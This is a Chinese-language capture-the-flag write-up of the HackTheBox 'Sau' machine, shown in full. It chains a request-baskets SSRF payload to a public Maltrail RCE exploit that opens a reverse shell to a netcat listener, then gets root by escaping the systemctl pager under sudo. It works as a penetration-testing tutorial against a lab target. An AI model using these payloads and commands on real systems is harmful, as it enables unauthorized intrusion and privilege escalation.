SSRF 是常见的web漏洞,如何从这里撕开口子到RCE,进一步控制服务器最高权限,Sau实战靶场是个很好的例子,难度比较简单,快花2分钟来学习思路🤪
靶机地址
https://app.hackthebox.com/machines/551
适合读者
√ 渗透测试学习者√ 企业安全运维人员√ CTF竞赛战队√ 想掌握链式攻击思维的安全从业者
一、信息收集
VPN 连接正常,能够访问目标机器
端口扫描
nmap -sT --min-rate 10000 -p- 10.10.11.224 -oA nmapscan/ports
nmap -sT -Pn -sV -sC -O -p22,55555 10.10.11.224
只开放了 22 和 55555 端口,55555 是个 web 服务
使用 Nmap 自带脚本漏洞扫描没有结果
nmap -script=vuln -p22,55555 10.10.11.224 -oA nmapscan/vuln
Web 信息收集
访问主页发现是 request-baskets 搭建,版本 1.2.1
它是一种 Web 服务,用于收集任意 HTTP 请求并通过 RESTful API 或简单的 Web UI 检查它们
whatweb
dirsearch
dirsearch -u http://10.10.11.224:55555 -e * -i 200 --exclude-sizes=0B
信息整理
二、漏洞探测
SSRF
搜索得知 request-baskets 1.2.1 存在 ssrf 漏洞
参考链接:https://notes.sjtu.edu.cn/s/MUUhEymt7
首先在主页输入框填写任意字符串创建一个新的 baskets,开启抓包,修改为以下 payload 探测内网其他端口
POST /api/baskets/abcdef{ "forward_url": "http://127.0.0.1:80/", "proxy_response": true, "insecure_tls": false, "expand_path": true, "capacity": 250}
-
• 接口末尾的 abcdef
可以是任意字符 -
• forward_url
是要探测的内网 web 端口,80 端口为例,请求 80 的根路径 -
• proxy_respons
是否将目标流量转发出来
发送请求后返回一个 token
访问http://10.10.11.224:55555/web/abcdef
,填写 token
根据提示http://10.10.11.224:55555/abcdef
相当于访问http://10.10.11.224:80
Getshell
进一步搜索发现 Maltrail 0.53 版本存在 RCE 漏洞
EXP: https://github.com/spookier/Maltrail-v0.53-Exploit
攻击机开启 nc 监听,执行 exp
python3 exploit.py 10.10.14.107 1234 http://10.10.11.224:55555/abcdef
三、权限提升
获取交互式 shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
sudo -l 发现一个可以 root 权限运行的命令
/usr/bin/systemctl status trail.service
经过尝试,使用上图中第三种方式提权成功,运行 sudo 命令后输入!sh
敲回车,root到手😈
原文始发于微信公众号(红队安全圈):HTB-Sau靶机:技术干货!从SSRF到RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论